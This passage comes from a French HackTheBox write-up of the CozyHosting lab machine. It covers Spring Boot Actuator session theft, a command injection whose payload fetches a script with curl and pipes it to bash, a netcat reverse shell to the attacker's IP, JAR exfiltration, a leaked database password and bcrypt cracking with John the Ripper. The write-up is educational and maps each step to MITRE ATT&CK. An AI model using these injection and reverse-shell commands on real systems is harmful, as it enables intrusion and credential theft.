22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)</code></pre>



<p>Un service SSH et un service web sont accessibles, assez classique pour le moment.</p>



<h3 class="wp-block-heading">B. Configuration Springboot</h3>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1595/" target="_blank" rel="noopener" title="">T1595 - Active Scanning:&nbsp;Vulnerability Scanning</a></p>



<p>Le site web exposé par le service web est un simple site vitrine :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="485" src="media/308f35ab.hackthebox-writeup-cozyhosting-website-800x485.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-800x485.png" alt="" class="wp-image-74149" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-800x485.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-550x334.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-150x91.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-768x466.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-50x30.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website.png 1108w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Je commence par lancer l'outil <code><a href="https://github.com/projectdiscovery/nuclei" target="_blank" rel="noopener nofollow" title="nuclei">nuclei</a></code> qui va automatiser certaines tâches de découverte relatives à des CVE, framework ou mauvaises configuration spécifiques :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="289" src="media/5c9f6708.hackthebox-writeup-cozyhosting-nuclei-800x289.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-nuclei-800x289.png" alt="" class="wp-image-74151" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-nuclei-800x289.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-nuclei-550x199.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-nuclei-150x54.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-nuclei-768x278.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-nuclei-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-nuclei.png 1226w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<blockquote class="wp-block-quote">
<p>Le scanner web <code><a href="https://github.com/projectdiscovery/nuclei" target="_blank" rel="noopener" title="nuclei">nuclei</a></code> est toujours intéressant à utiliser, quelque soit votre niveau en test d'intrusion. Il est certes loin de proposer un audit complet d'une application web, mais permet de scanner vos sites web pour un diagnostic rapide et dégrossir rapidement un test d'intrusion en boite noire. Son fonctionnement par module communautaire et très complet pour un outil open source et il renvoie rarement de faux positifs.</p>
</blockquote>



<p>Assez rapidement, celui-ci découvre plusieurs points d'entrées relatifs à <strong><a href="https://spring.io/projects/spring-boot/" target="_blank" rel="noopener nofollow" title="Springboot">Springboot</a></strong>. Il s'agit d'un projet du framework Spring qui fournit un ensemble d'outils et de conventions pour faciliter la <strong>création de services web, d'applications back-end et de microservices</strong>. Il vise à rendre le développement d'applications basées sur Spring plus rapide et facile.</p>



<p><strong><a href="https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html" title="Springboot Actuator">Springboot Actuator</a></strong> est un ensemble de fonctionnalités permettant de <strong>surveiller les applications, de collecter des métriques et comprendre le trafic </strong>ou l'état de la base de données. Il s'agit plus précisément d'une dépendance utilisée par les développeurs qui utilisent ce <em>framework</em> de développement. Tout cela semble fort intéressant pour un développeur, <strong>mais est-ce qu'un visiteur externe a besoin d'y accéder </strong>? La réponse est probablement non.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener" title="">T1190 - Exploit Public-Facing Application</a></p>



<p>En étudiant les possibilités et point d'entrés d'Actuator, on remarque vite qu'il peut fournir à celui qui y accède un grand nombre d'informations sur l'application qu'il gère ou le serveur qui l'héberge. Le point d'entrée "<strong>/actuator/mappings</strong>" liste tous les points d'entrés disponibles :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="532" src="media/d3d828e7.hackthebox-writeup-cozyhosting-actuatorendpoints-800x532.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-actuatorendpoints-800x532.png" alt="" class="wp-image-74155" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-actuatorendpoints-800x532.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-actuatorendpoints-550x365.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-actuatorendpoints-150x100.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-actuatorendpoints-768x510.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-actuatorendpoints-50x33.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-actuatorendpoints.png 942w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>On remarque notamment le point d'entrée "<strong>/actuator/session</strong>", toujours intéressant pour un visiteur anonyme :</p>



<pre class="wp-block-code"><code>$ curl http://cozyhosting.htb/actuator/sessions
{<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">"7DA0F441BD57DB10A6D3E7F9DC07A2B0":"kanderson"</mark>,"C74E35728DE7EB32CB9F8F742A68CC7A":"kanderson","C6713C8621A4A5576FD206A0E0E00B28":"kanderson","1040C845B8DF19E4DFC2415898377302":"UNAUTHORIZED"}</code></pre>



<p>Sans aucune authentification et en quelques requêtes, nous parvenons à récupérer un jeton de session valide sur la plateforme ciblée. </p>



<blockquote class="wp-block-quote">
<p>Lors d'une authentification réussie, l'application web fournit, en échange de la preuve (mot de passe) de l’identité déclarée (login), un<strong> jeton de session</strong>. Cela évite ainsi à l'utilisateur de s'authentifier sur chaque changement de page. Ce jeton de session sera unique par utilisateur et pour chaque connexion, avec une durée de vie limitée. Ainsi, le fait de fournir cette donnée unique à chaque requête plutôt que nos identifiants, permet au serveur de suivre notre session et de nous maintenir authentifié lors de la navigation.</p>
</blockquote>



<p>Sur l'application web, on remarque notamment que si l'on tente une authentification sur la page "<strong>/login</strong>", un "<code><strong>JSESSIONID</strong></code>" nous est attribué :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="461" src="media/76505ddf.hackthebox-writeup-cozyhosting-JSESSIONID-800x461.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-JSESSIONID-800x461.png" alt="" class="wp-image-74160" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-JSESSIONID-800x461.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-JSESSIONID-550x317.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-JSESSIONID-150x86.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-JSESSIONID-768x443.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-JSESSIONID-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-JSESSIONID.png 1109w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<blockquote class="wp-block-quote">
<p>Le menu que vous voyez apparaitre en bas de la capture d'écran ci-dessus est<strong> la barre développeur de Firefox</strong>. Il s'agit d'un outil présent sur tous les navigateurs récents. Elle propose un ensemble d'outils intégrés permettant aux développeurs web d'inspecter et de déboguer les pages et les échanges, ainsi que d'analyser les performances du site en temps réel. Elle offre des fonctionnalités telles que l'inspection d'éléments HTML, la modification en direct du CSS, le débogage JavaScript, le suivi du réseau et la mesure des performances.</p>
</blockquote>



<p>Cela nous permet d'obtenir le nom du cookie à utiliser, il faut ensuite remplacer son contenu par l'un des jetons de l’utilisateur "<strong>kanderson</strong>" récupéré plus haut.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="354" src="media/63fc5149.hackthebox-writeup-cozyhosting-session-theft-800x354.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-session-theft-800x354.png" alt="" class="wp-image-74161" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-session-theft-800x354.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-session-theft-550x243.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-session-theft-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-session-theft-768x340.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-session-theft-50x22.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-session-theft.png 1121w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Après modification de notre cookie, nous devons rafraichir la page pour que le serveur web comprenne que nous sommes authentifiés. Nous voilà ainsi sur le point d'entrée "<strong>/admin</strong>" en tant que l'utilisateur "<strong>K. Anderson</strong>". <strong>Nous venons d'effectuer un vol de session !</strong> Sans connaissance du mot de passe de l'utilisateur, nous récupérons l'élément qui permet à l'application web de suivre sa session.</p>



<h3 class="wp-block-heading">C. RCE (<em>Remote Commande Execution</em>)</h3>



<p> Nous pouvons à présent parcourir l'espace authentifié de l'application web. Cette fonctionnalité parait notamment intéressante :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="400" src="media/26e3f06d.hackthebox-writeup-cozyhosting-webapp-connection-800x400.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-webapp-connection-800x400.png" alt="" class="wp-image-74175" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-webapp-connection-800x400.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-webapp-connection-550x275.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-webapp-connection-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-webapp-connection-768x384.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-webapp-connection-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-webapp-connection.png 1069w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Visiblement, nous pouvons spécifier un nom d'hôte et un nom d'utilisateur pour que l'application web s'y connecte. Autre fait intéressant, si l'on saisie des données qui ne sont pas conformes à ce que pourrait attendre ce genre de fonctionnalité, le contenu de l'aide de la commande SSH est retourné par l'application web :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="788" height="597" src="media/dfebaa7a.hackthebox-writeup-cozyhosting-execute-ssh.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-execute-ssh.png" alt="" class="wp-image-74334" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-execute-ssh.png 788w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-execute-ssh-550x417.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-execute-ssh-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-execute-ssh-768x582.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-execute-ssh-50x38.png 50w" sizes="(max-width: 788px) 100vw, 788px" /></figure></div>


<p>Cela indique explicitement qu'une commande système est exécutée à l'aide des informations que nous saisissons.</p>



<blockquote class="wp-block-quote">
<p>Lorsque de la réalisation d'une attaque sur une application web,<strong> la saisie de données non conformes ou mal formatées est l'une des opérations de base à réaliser</strong>. Cela permet de voir si l'application web ciblée a été correctement développée afin de gérer les entrées utilisateurs, et notamment de s'assurer que celles-ci sont conformes à ce qui est attendu d'un point de vue logique (présence de caractères spéciaux dans un nom de domaine ?) ou métier (l'adresse mail saisie existe-t-elle vraiment ? Prix négatif ?). <br><br>L'objectif de l'attaquant est alors de <strong>tenter de faire apparaitre des erreurs,</strong> parfois verbeuses, pouvant faire fuiter des informations (framework/technologie utilisée, contexte d'exécution) ou trahir un manque de filtrage ou de contrôle des entrées utilisateur.</p>
</blockquote>



<p>Ainsi, nous savons à présent que <strong>nos entrées sont insérées dans une commande système</strong> (Bash), et non plus simplement dans une variable d'un langage de développement web (PHP, Java, autre) ou une base de données. C'est une information très intéressante pour un attaquant, car s'il parvient à manipuler correctement cette commande, il pourra exécuter ses propres commandes sur le système.</p>



<p>Supposons que nos entrées "<strong>host</strong>" et "<strong>username</strong>" soient insérées dans une commande SSH comme celle-ci :</p>



<pre class="wp-block-code"><code>ssh <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">username</mark>@<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-green-cyan-color">host</mark></code></pre>



<p>Alors, nous pourrions insérer n’importe quelle commande dans cette commande SSH à l'aide d'une variable "<strong>host</strong>" comme celle-ci :</p>



<pre class="wp-block-code"><code>host = <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-green-cyan-color">127.0.0.1;whoami</mark>
username = <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">john</mark>
ssh <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">john</mark>@<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-green-cyan-color">127.0.0.1;whoami</mark></code></pre>



<p>Tentons de vérifier notre hypothèse :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="470" height="213" src="media/70bfbb68.hackthebox-writeup-cozyhosting-website-invalid-host.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-invalid-host.png" alt="" class="wp-image-74336" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-invalid-host.png 470w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-invalid-host-150x68.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-invalid-host-50x23.png 50w" sizes="(max-width: 470px) 100vw, 470px" /></figure></div>


<p>Cela ne fonctionne pas, l'application web semble vérifier la cohérence du paramètre "<strong>hostname</strong>" reçu. Voyons si c'est également le cas avec le "<strong>username</strong>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="685" height="497" src="media/07ee6fd2.hackthebox-writeup-cozyhosting-website-injection.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-injection.png" alt="" class="wp-image-74335" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-injection.png 685w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-injection-550x399.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-injection-150x109.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-injection-50x36.png 50w" sizes="(max-width: 685px) 100vw, 685px" /></figure></div>


<p>Si l'on regarde attentivement le message d'erreur, nous comprenons qu'il s'agit en fait <strong>de deux messages distincts</strong>. Cela valide notre supposition initiale, au moins pour le paramètre "<strong>username</strong>". Voici précisément ce que donne notre injection</p>



<pre class="wp-block-code"><code>ssh john<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">;</mark>whoami@127.0.0.1

#&nbsp;Détail des message d'erreurs
ssh john # ssh : Could not resolve hostname john : Temporary failure in name resolution
whoami@127.0.0.1 # /bin/bash: line1 : whoami@127.0.0.1: command not found</code></pre>



<p>Étant donné que nous avons inséré un <strong>caractère de chainage de commande sous Linux </strong>(le point-virgule), nous avons maintenant deux commandes. Cependant, aucune des deux n'est réellement valide. Maintenant que nous avons validé la possibilité d'une injection de commande, nous devons produire quelque chose d'utile et de fonctionnel pour un attaquant. Au moins une de nos deux commandes doit pouvoir être exécutée sans erreurs.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1059/004/" target="_blank" rel="noopener" title="">T1059.004 - Command and Scripting Interpreter:&nbsp;Unix Shell</a></p>



<p>Je décide d'utiliser pour cela une substitution de commande, qui permet sous Linux d'utiliser le résultat d'une commande comme argument pour une autre commande :</p>



<pre class="wp-block-code"><code><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Poste attaquant</mark>
<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Création d'un script reverse shell</mark>
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&amp;1|nc 10.10.14.162 9001 >/tmp/f"   > x

<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Mise en en écoute d'un service web</mark>
python3 -m http.server

<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Mise en écoute d'un netcat (port 9001)</mark>
$ nc -lvp 9001</code></pre>



<p>Mon idée ici est de générer le téléchargement, puis l'exécution d'un script Bash qui contient des instructions pour monter un <em>reverse shell</em> en direction de mon système d'attaque. <br></p>



<blockquote class="wp-block-quote">
<p>Un <em>reverse shell </em>est une suite d'intrusion exécutée pour qu'un <strong>système compromis se connecte à un serveur distant contrôlé par l'attaquant</strong>, permettant ainsi à ce dernier d'obtenir un accès à distance à la machine compromise. Cette technique est souvent utilisée pour contourner les pare-feu et établir une <strong>communication secrète, rarement journalisée </strong>(à l'inverse d'une connexion SSH par exemple).</p>
</blockquote>



<p>Voici la requête web utilisée pour l'exploitation :</p>



<pre class="wp-block-code"><code>POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin?error=Invalid%20hostname!
Cookie: JSESSIONID=10613C25E1495DF30F924F3A32433826
Upgrade-Insecure-Requests: 1

host=1.1.1.1&amp;username=<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">$(curl${IFS}http://10.10.14.162:8000/x|bash)</mark></code></pre>



<p>Ici, on voit la substitution à l'intérieur du "<strong>$(  )</strong>". Le système Linux<strong> va d'abord "résoudre" cette substitution avant d'insérer le résultat de la commande dans le </strong>"<strong>username</strong>" de la commande SSH. Vous noterez également la présence d'un "<strong>${IFS}</strong>", qui permet d'<strong>insérer un espace sans utiliser l'espace</strong>.  Ainsi, même si le "<strong>username</strong>" de la commande SSH est mal formaté et entraîne une erreur, la substitution sera exécutée avant et l'erreur de la commande SSH n'aura aucun impact sur mon exploitation.</p>



<p>Enfin, le fait d'utiliser "<strong><code>curl</code> http://IP/script|bash</strong>" permet de <strong>télécharger et exécuter un script Bash sans dépôt sur le système</strong>. J'utilise cette astuce pour éviter de m'embêter avec les nombreux caractères spéciaux de ma commande <em>reverse shell</em>, qui peuvent être à manipuler correctement pour passer l'encodage/décodage par le client, le service et l'application web.</p>



<pre class="wp-block-code"><code># Récepetion du reverse shell sur le poste attaquant
$ nc -lvp 9001
connect to &#91;10.10.14.162] from cozyhosting.htb &#91;10.10.11.230] 42102
app@cozyhosting:/app$ </code></pre>



<p>À présent, nous avons à notre disposition un shell interactif en tant que l'utilisateur "<strong>app</strong>" le serveur attaqué.</p>



<blockquote class="wp-block-quote">
<p>Nous venons de le voir, les attaque de type RCE (<em>Remote Command Execution</em>) sont parmi les plus critiques qui puissent exister au sein d'une application web. Elles permettent d'<strong>exécuter du code sur un serveur web qui héberge l'application web</strong>, avec les droits du service web. Ainsi, nous pouvons nous <strong>affranchir des limitations imposées par nos droits applicatifs</strong> ou les fonctionnalités de l'application.</p>
</blockquote>



<h3 class="wp-block-heading">D. Récupération d'identifiants</h3>



<p>Nous avons un premier accès au serveur, pour aller jusqu'au bout, nous devons passer root ! Nous pouvons simplement commencer par quelques opérations de découverte basique sur le serveur :</p>



<ul>
<li>Quels sont nos droits et groupes ?</li>
</ul>



<pre class="wp-block-code"><code>app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)</code></pre>



<ul>
<li>Existe-t-il des services accessibles qu'en interne ?</li>
</ul>



<pre class="wp-block-code"><code>netstat -petulan |grep "LISTEN" |grep "127.0.0"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      102        21525      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      114        22278      -
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      1001       23652      1065/java         </code></pre>



<ul>
<li>Quels fichiers intéressants pouvons-nous lire ?</li>
</ul>



<pre class="wp-block-code"><code>app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x  2 root root     4096 Aug 14 14:11 .
drwxr-xr-x 19 root root     4096 Aug 14 14:11 ..
-rw-r--r--  1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar</code></pre>



<ul>
<li>etc...</li>
</ul>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1048/003/" target="_blank" rel="noopener" title="">T1048.003 - Exfiltration Over Alternative Protocol:&nbsp;Exfiltration Over Unencrypted Non-C2 Protocol</a></p>



<p>Après quelques recherches, je découvre le fichier "<strong>cloudhosting-0.0.1.jar</strong>", il s'agit probablement du site web qui expose le site vitrine vu précédemment. Je décide de l'exfiltrer du serveur pour étude en local :</p>



<pre class="wp-block-code"><code>app@cozyhosting:/app$ python3 -m http.server 8123
python3 -m http.server 8123
10.10.14.162 - "GET /cloudhosting-0.0.1.jar HTTP/1.1" 200 -

<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Poste d'attaque</mark>
$ wget http://10.10.11.230:8123/cloudhosting-0.0.1.jar</code></pre>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1552/001/" target="_blank" rel="noopener" title="">T1552.001 - Unsecured Credentials: Credentials In Files</a></p>



<blockquote class="wp-block-quote">
<p>Une archive JAR est un conteneur de fichiers Java, regroupant des classes et des ressources, facilitant le déploiement et l'exécution d'applications Java. Elle permet de compresser et d'organiser des éléments liés au code source notamment pour favoriser la portabilité et la distribution des programmes .</p>
</blockquote>



<p>Une simple recherche via <strong>grep</strong> dans les fichiers composants de l'archive "<strong>.jar</strong>" nous permet de retrouver des identifiants correspondants à une base de données :</p>



<pre class="wp-block-code"><code>$ unzip cloudhosting-0.0.1.jar -d cloudhosting
$ grep "passw" -ri cloudhosting -C3

BOOT-INF/classes/application.properties-spring.datasource.platform=postgres   
BOOT-INF/classes/application.properties-spring.datasource.url=jdbc:<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">postgresql://localhost:5432/cozyhosting </mark>
BOOT-INF/classes/application.properties-spring.datasource.username=postgres   
BOOT-INF/classes/application.properties:spring.datasource.password=<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Vg&amp;nvzAQ7XxR </mark></code></pre>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener" title="">T1078.003 - Valid Accounts: Local Accounts</a></p>



<p>À la suite de notre découverte des services en écoute interne, nous avons identifié un service PostgreSQL. Nous pouvons probablement nous y authentifier avec les identifiants découverts :</p>



<pre class="wp-block-code"><code>app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres -c "\list"
psql -h 127.0.0.1 -U postgres -c "\list"
Password for user postgres: Vg&amp;nvzAQ7XxR</code></pre>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1005/" target="_blank" rel="noopener" title="">T1005 - Data from Local System</a></p>



<p>Une découverte des bases de données, tables et données accessibles nous permet de découvrir une table intéressante :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="719" height="362" src="media/6df8f646.hackthebox-writeup-cozyhosting-postgresql.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-postgresql.png" alt="" class="wp-image-74329" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-postgresql.png 719w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-postgresql-550x277.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-postgresql-150x76.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-postgresql-50x25.png 50w" sizes="(max-width: 719px) 100vw, 719px" /></figure></div>


<p> Cette table contient deux comptes utilisateur, ainsi que le hash de leur mot de passe.</p>



<pre class="wp-block-code"><code>select * from users;
   name    |      password      | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin</code></pre>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1110/002/" target="_blank" rel="noopener" title="">T1110.002 - Brute Force: Password Cracking</a></p>



<p>Nous utilisons à présent <a href="https://github.com/openwall/john" target="_blank" rel="noopener nofollow" title="johntheripper">J<code>ohn The Ripper</code></a> pour tenter de casser ces hash à l'aide du dictionnaire de mot de passe <a href="https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases" target="_blank" rel="noopener nofollow" title="rockyou.txt ">rockyou.txt </a>:</p>



<pre class="wp-block-code"><code>$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/y
Using default input encoding: UTF-8
<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Loaded 1 password hash (bcrypt &#91;Blowfish 32/64 X3])</mark>
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     </code></pre>



<p>Le préfixe "<strong>$2a$</strong>" dans le contexte des hachages de mots de passe fait référence à la version "<strong>2a</strong>" de l'algorithme de hachage <a href="https://fr.wikipedia.org/wiki/Blowfish" target="_blank" rel="noopener nofollow" title="">Blowfish</a> utilisé avec la fonction de hachage de mots de passe <a href="https://fr.wikipedia.org/wiki/Bcrypt" target="_blank" rel="noopener" title="bcrypt">bcrypt</a>. Mais, c'est une information que John The Ripper sait traiter de façon autonome pour adapter son attaque.</p>



<blockquote class="wp-block-quote">
<p>Le cassage de hash de mot de passe bcrypt par dictionnaire avec John the Ripper implique l'utilisation d'une liste de mots prédéfinis (dictionnaire) pour tenter de trouver une correspondance avec les hachages bcrypt. John the Ripper<strong> génère les hachages correspondants aux mots du dictionnaire et compare ensuite avec le hash cible</strong>. Si les hashs correspondent, alors le hash est considéré comme cassé et l'on connait le mot de passe d'origine.</p>
</blockquote>



<p>Bingo ! Nous parvenons à <strong>casser le hash du mot de passe de l'utilisateur </strong>"<strong>admin</strong>" ! </p>



<h3 class="wp-block-heading">E. Élévation du privilège sudo</h3>



